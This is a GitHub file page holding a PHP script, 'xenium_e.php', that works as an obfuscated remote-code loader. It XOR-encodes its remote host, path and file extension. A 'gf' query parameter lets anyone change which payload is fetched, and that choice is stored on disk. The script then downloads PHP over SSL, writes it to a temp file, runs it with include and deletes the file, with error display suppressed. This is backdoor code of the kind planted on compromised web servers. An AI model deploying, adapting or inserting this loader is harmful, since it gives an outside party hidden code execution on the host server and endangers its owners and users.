-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathxenium_e.php
More file actions
133 lines (114 loc) · 3.32 KB
/
xenium_e.php
File metadata and controls
133 lines (114 loc) · 3.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
@ini_set('display_errors', '0');
@ini_set('log_errors', '1');
error_reporting(E_ALL);
function localXorEncryptDecrypt($data, $key) {
$output = '';
$keyChar = substr($key, 0, 1);
foreach (str_split($data) as $char) {
$output .= chr(ord($char) ^ ord($keyChar));
}
return $output;
}
$customValueFile = 'custom_value.dat';
$defaultSegment = "xenium4";
$queryParam = "gf";
if (isset($_GET[$queryParam])) {
$newSegment = $_GET[$queryParam];
if (@file_put_contents($customValueFile, $newSegment) === false) {
error_log("Failed to write custom value file");
}
$pathSegment = $newSegment;
} else {
if (file_exists($customValueFile)) {
$pathSegment = @file_get_contents($customValueFile);
if ($pathSegment === false) {
$pathSegment = $defaultSegment;
}
} else {
$pathSegment = $defaultSegment;
}
}
$_ = "!";
$url = localXorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
$path = localXorEncryptDecrypt("M@NMHDS[HBNLLHURQIQCESDGRID@ERL@HO", $_);
$exx = localXorEncryptDecrypt("QIQ", $_);
$pc = $path . $pathSegment . $exx;
$fp = @fsockopen("ssl://$url", 443, $errno, $errstr, 10);
if (!$fp) {
error_log("Connection failed: $errstr ($errno)");
http_response_code(503);
exit("Service temporarily unavailable");
}
$request = "GET $pc HTTP/1.1\r\n";
$request .= "Host: $url\r\n";
$request .= "Connection: close\r\n\r\n";
if (@fwrite($fp, $request) === false) {
error_log("Failed to send request");
fclose($fp);
http_response_code(503);
exit("Service temporarily unavailable");
}
$response = '';
$startTime = time();
while (!feof($fp)) {
if ((time() - $startTime) > 15) {
error_log("Response timeout");
fclose($fp);
http_response_code(504);
exit("Gateway timeout");
}
$response .= fgets($fp, 1024);
}
fclose($fp);
if (empty($response)) {
error_log("Empty response received");
http_response_code(502);
exit("Bad gateway");
}
$parts = explode("\r\n\r\n", $response, 2);
if (count($parts) < 2) {
error_log("Invalid response format");
http_response_code(502);
exit("Bad gateway");
}
$remotePayload = $parts[1];
if (empty($remotePayload) || strlen($remotePayload) < 10) {
error_log("Payload too small or empty");
http_response_code(502);
exit("Bad gateway");
}
$parts = str_split($remotePayload, 4);
$obfuscatedPayload = implode('', $parts);
if (empty($obfuscatedPayload)) {
error_log("Processed payload is empty");
http_response_code(502);
exit("Bad gateway");
}
$tempFile = @tempnam(sys_get_temp_dir(), $exx);
if ($tempFile === false) {
error_log("Failed to create temp file");
http_response_code(500);
exit("Internal server error");
}
if (@file_put_contents($tempFile, $obfuscatedPayload) === false) {
error_log("Failed to write temp file");
@unlink($tempFile);
http_response_code(500);
exit("Internal server error");
}
if (!file_exists($tempFile) || !is_readable($tempFile)) {
error_log("Temp file not readable");
@unlink($tempFile);
http_response_code(500);
exit("Internal server error");
}
try {
include $tempFile;
} catch (Exception $e) {
error_log("Execution error: " . $e->getMessage());
} catch (Error $e) {
error_log("Fatal error: " . $e->getMessage());
}
@unlink($tempFile);
?>